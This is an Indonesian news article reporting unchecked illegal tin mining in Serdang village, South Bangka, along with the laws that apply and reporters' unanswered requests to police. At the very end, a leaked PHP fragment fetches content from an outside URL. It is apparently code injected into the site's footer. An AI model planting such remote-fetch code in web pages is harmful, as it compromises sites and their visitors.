Tambang Timah Ilegal di Desa Serdang Taboali Belum Tersentuh APH

Jumat, 12 November 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bangka Selatan l Jejakkasus.info – Maraknya Aktivitas Tambang Timah ilegal yang beroperasi Jalan Raya Batam Desa Serdang kecamatan Taboali kabupaten Bangka Selatan kepulauan Bangka Belitung.

Video Kegiatan

Dari pantauan Tim Sembilan Kamis (11/11/2021) pukul 12.00 WIB nampak belasan Mesin TI Sebu-sebu yang beroperasi di kiri-kanan Jalan Raya Batam Desa Serdang sekitar 4-5 meter parah nya lagi tambang di DAS.

Tim Sembilan langsung meminta keterangan kesalah satu penambang inisial PL mengatakan yang punya lahan tiga orang Dawi, No, Acu dan Gunawan pemilik 3 unit mesin TI pak, ujarnya.

Baca Juga:  Diduga Disdik Sumedang Korupsi dan Belum Tersentuh Hukum

Tim Sembilan langsung konfirmasi ke kades Kamis (11/11/2021) pukul 13.36 WIB tapi tidak ada di tempat lalu tim menemui ke salah satu Staf Kepala Desa Serdang bapak irnawan mengatakan lokasi TI memang ikut Desa Serdang pak.

Tim Sembilan juga langsung mendatangi Polres Bangka Selatan Pukul 14.00 WIB untuk konfirmasi langsung. Akan tetapi belom ada yang bisa dikonfirmasi. Sebelumnya sudah konfirmasi ke Wakapolres Basel via WhatsApp dan diarahkan ke Kapolres Basel dan Kanit Reskrim Basel. Tetapi belom ada yang bisa memberikan keterangan.

Baca Juga:  Lokasi Prostitusi eks Bandengan Desa Kilensari Kecamatan Panarukan-  Situbondo, Ternyata Masih Beroperasi

Kemudian Tim Sembilan kembali mendatangi Polsek Toboali Pukul 16.00 WIB tetapi belum bisa dikonfirmasi secara langsung, sebelumnya sudah berupaya menghubungi via Telepon WhatsApp 13.03 WIB akan tetapi tidak dijawab.

Sampai berita ini ditayangkan Tim Sembilan masih berupaya untuk mengkonfirmasi.

“Mereka bisa dijerat dengan UU Minerba Nomor 3 Tahun 2020 Pasal 158”.

“Setiap orang yang melakukan Penambangan tanpa izin sebagaimana dimaksud dalam Pasal 35 dipidana dengan
pidana penjara paling lama 5 (lima) tahun dan denda paling banyak Rp100.OOO.000.000,00 (seratus miliar rupiah)”.

Kemudian, barang siapa yang membuang limbah sembarangan hasil dari pertambangan juga dijerat dengan UU PPLH Nomor 32 Tahun 2009 Pasal 104.

Baca Juga:  Edarkan Obat Terlarang, Seorang Pemuda Diringkus Satresnarkoba Polres Kendal

“Setiap orang yang melakukan dumping limbah dan/atau bahan ke media lingkungan hidup tanpa izin sebagaimana pasal 60 dipidana dengan pidana penjara paling lama 3 (tiga) tahun dan denda paling banyak Rp3.000.000.000,00 (tiga miliyar rupiah).

Tim Sembilan melaporkan meminta pihak APH Polsek Toboali, Polres Bangka Selatan, Polda Babel untuk menindak tegas para oknum penambang Timah ilegal yang beroperasi di pinggir Jalan Raya Batam Desa Serdang dan DAS. (Tim Sembilan)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>